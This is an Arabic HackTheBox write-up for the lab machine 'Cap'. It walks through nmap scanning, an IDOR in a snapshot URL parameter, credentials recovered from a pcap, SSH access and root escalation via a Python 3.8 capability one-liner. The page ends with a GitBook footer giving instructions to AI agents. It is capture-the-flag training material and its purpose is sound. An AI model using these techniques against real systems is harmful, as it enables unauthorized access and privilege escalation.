> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md).

# تقرير HackTheBox عن Cap

{% embed url="<https://app.hackthebox.com/machines/Cap>" %}

{% hint style="warning" %}
المهارات:

* مرجع كائن دليل غير آمن (IDOR)
* تسرب المعلومات
* إساءة استخدام القدرات (Python 3.8) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/c0cdc252a90b55615042505a6f47a1146e773592" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/4ac02b872c8f420bdfa13bedfae8913b943c751b" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.245 -oG allPorts
```

<figure><img src="/files/795c3d2c43358f2427f4117e9fb0eec12497de71" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (21,22,80)

<figure><img src="/files/c6422fd46e1875e23d7882ab115168a8fb7378df" alt=""><figcaption></figcaption></figure>

#### فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p21,22,80 10.10.10.245 -oN targeted
```

<figure><img src="/files/2b4a151dedb827df368076459e31cd93f88c0da3" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/c4b689c7cbf0dc02a803513d55b7a35afbef5a87" alt=""><figcaption></figcaption></figure>

نصل إلى خدمة HTTP ونكتشف قسمًا يسمى **لقطة الأمان**. يتيح لك هذا القسم إنشاء وتنزيل **pcap** ملفات تحتوي على سجلات النظام.

<figure><img src="/files/79e56438f9519f38a809a250132b604ae7da12da" alt=""><figcaption></figcaption></figure>

## ثغرة IDOR

**الملاحظة الأولية**

بعد تحليل **pcap** الملفات باستخدام Wireshark، لم يتم العثور على محتوى قابل للاستخدام مباشرة.

<figure><img src="/files/635d09b23866e102b5153e112becee7323775e54" alt=""><figcaption></figcaption></figure>

ومع ذلك، نلاحظ أنه في كل مرة يتم فيها تنزيل ملف، يتم إنشاء **لقطة**  . يحتوي عنوان URL المقابل على معلمة تشير إلى معرّف اللقطة، على سبيل المثال: `snapshot_data=2`.

<figure><img src="/files/ceb7f940677cafbfb3b66f0936c36c2f4ec1770d" alt=""><figcaption></figcaption></figure>

من خلال تغيير معلمة URL يدويًا للوصول إلى اللقطة 0، نحصل على ملف يحتوي على معلومات حساسة.

### **التحليل باستخدام Wireshark**

من خلال فحص الإطارات في **pcap** الملف، نتعرف على بيانات اعتماد مستخدم:

* اسم المستخدم: `nathan`
* كلمة المرور: `Buck3tH4TF0RM3!`

<figure><img src="/files/79fe74933b9d84541104208ffb22f7637eca677a" alt=""><figcaption></figcaption></figure>

#### استخدام بيانات الاعتماد

**الوصول إلى FTP**

نستخدم بيانات الاعتماد للاتصال بخدمة FTP:

نجح الاتصال. نسترجع **user.txt** الملف الذي يحتوي على العلم الأول.

<figure><img src="/files/70494d8ea697aadf44af5ffa45d2ae206fe30140" alt=""><figcaption></figcaption></figure>

**الوصول إلى SSH**

من خلال اختبار بيانات الاعتماد نفسها لاتصال SSH، نحصل على وصول كامل:

```bash
ssh nathan@10.10.10.245
Buck3tH4TF0RM3!
```

<figure><img src="/files/67d0f1c81c7202c0596f8344e4a8d6c89611650d" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### ثغرة القدرات في Python 3.8

#### التصفية **القدرات**:

إذا قمنا بالتصفية حسب القدرات، ستظهر Python 3.8:

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/3dc175acad0a297d464a4d206b4a53eeaadc1746" alt="" width="554"><figcaption></figcaption></figure>

استخدم [GTFOBins](https://gtfobins.github.io/) كمرجع.

```bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

<figure><img src="/files/16931e692de86c134c09a251c26709bb339f8ac0" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/66ed0697caff0462a5bd3a8450e3ff77a20ced4f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/fe34252df08f6607c3fc54171ff2f92ab45eaf22" alt="" width="482"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
